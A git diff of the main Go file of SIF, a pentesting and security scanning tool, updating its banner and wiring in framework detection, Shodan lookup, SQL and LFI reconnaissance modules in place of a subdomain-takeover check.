|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// Package sif provides the main functionality for the SIF (Security Information Finder) tool.
|
||||
// It handles the initialization, configuration, and execution of various security scanning modules.
|
||||
|
||||
@@ -16,6 +28,7 @@ import (
|
||||
"github.com/dropalldatabases/sif/pkg/config"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
"github.com/dropalldatabases/sif/pkg/scan"
|
||||
"github.com/dropalldatabases/sif/pkg/scan/frameworks"
|
||||
jsscan "github.com/dropalldatabases/sif/pkg/scan/js"
|
||||
)
|
||||
|
||||
@@ -45,8 +58,8 @@ func New(settings *config.Settings) (*App, error) {
|
||||
app := &App{settings: settings}
|
||||
|
||||
if !settings.ApiMode {
|
||||
fmt.Println(styles.Box.Render(" _____________\n__________(_)__ __/\n__ ___/_ /__ /_ \n_(__ )_ / _ __/ \n/____/ /_/ /_/ \n"))
|
||||
fmt.Println(styles.Subheading.Render("\nhttps://sif.sh\nman's best friend\n\ncopyright (c) 2023-2024 lunchcat and contributors.\n\n"))
|
||||
fmt.Println(styles.Box.Render(" █▀ █ █▀▀\n ▄█ █ █▀ "))
|
||||
fmt.Println(styles.Subheading.Render("\nblazing-fast pentesting suite\nman's best friend\n\nbsd 3-clause · (c) 2022-2025 vmfunc, xyzeva & contributors\n"))
|
||||
}
|
||||
|
||||
if len(settings.URLs) > 0 {
|
||||
@@ -113,6 +126,16 @@ func (app *App) Run() error {
|
||||
scansRun = append(scansRun, "Basic Scan")
|
||||
}
|
||||
|
||||
if app.settings.Framework {
|
||||
result, err := frameworks.DetectFramework(url, app.settings.Timeout, app.settings.LogDir)
|
||||
if err != nil {
|
||||
log.Errorf("Error while running framework detection: %s", err)
|
||||
} else if result != nil {
|
||||
moduleResults = append(moduleResults, ModuleResult{"framework", result})
|
||||
scansRun = append(scansRun, "Framework Detection")
|
||||
}
|
||||
}
|
||||
|
||||
if app.settings.Dirlist != "none" {
|
||||
result, err := scan.Dirlist(app.settings.Dirlist, url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
|
||||
if err != nil {
|
||||
@@ -235,14 +258,33 @@ func (app *App) Run() error {
|
||||
}
|
||||
}
|
||||
|
||||
if app.settings.SubdomainTakeover {
|
||||
// Pass the dnsResults to the SubdomainTakeover function
|
||||
result, err := scan.SubdomainTakeover(url, dnsResults, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
|
||||
if app.settings.Shodan {
|
||||
result, err := scan.Shodan(url, app.settings.Timeout, app.settings.LogDir)
|
||||
if err != nil {
|
||||
log.Errorf("Error while running Subdomain Takeover Vulnerability Check: %s", err)
|
||||
} else {
|
||||
moduleResults = append(moduleResults, ModuleResult{"subdomain_takeover", result})
|
||||
scansRun = append(scansRun, "Subdomain Takeover")
|
||||
log.Errorf("Error while running Shodan lookup: %s", err)
|
||||
} else if result != nil {
|
||||
moduleResults = append(moduleResults, ModuleResult{"shodan", result})
|
||||
scansRun = append(scansRun, "Shodan")
|
||||
}
|
||||
}
|
||||
|
||||
if app.settings.SQL {
|
||||
result, err := scan.SQL(url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
|
||||
if err != nil {
|
||||
log.Errorf("Error while running SQL reconnaissance: %s", err)
|
||||
} else if result != nil {
|
||||
moduleResults = append(moduleResults, ModuleResult{"sql", result})
|
||||
scansRun = append(scansRun, "SQL Recon")
|
||||
}
|
||||
}
|
||||
|
||||
if app.settings.LFI {
|
||||
result, err := scan.LFI(url, app.settings.Timeout, app.settings.Threads, app.settings.LogDir)
|
||||
if err != nil {
|
||||
log.Errorf("Error while running LFI reconnaissance: %s", err)
|
||||
} else if result != nil {
|
||||
moduleResults = append(moduleResults, ModuleResult{"lfi", result})
|
||||
scansRun = append(scansRun, "LFI Recon")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user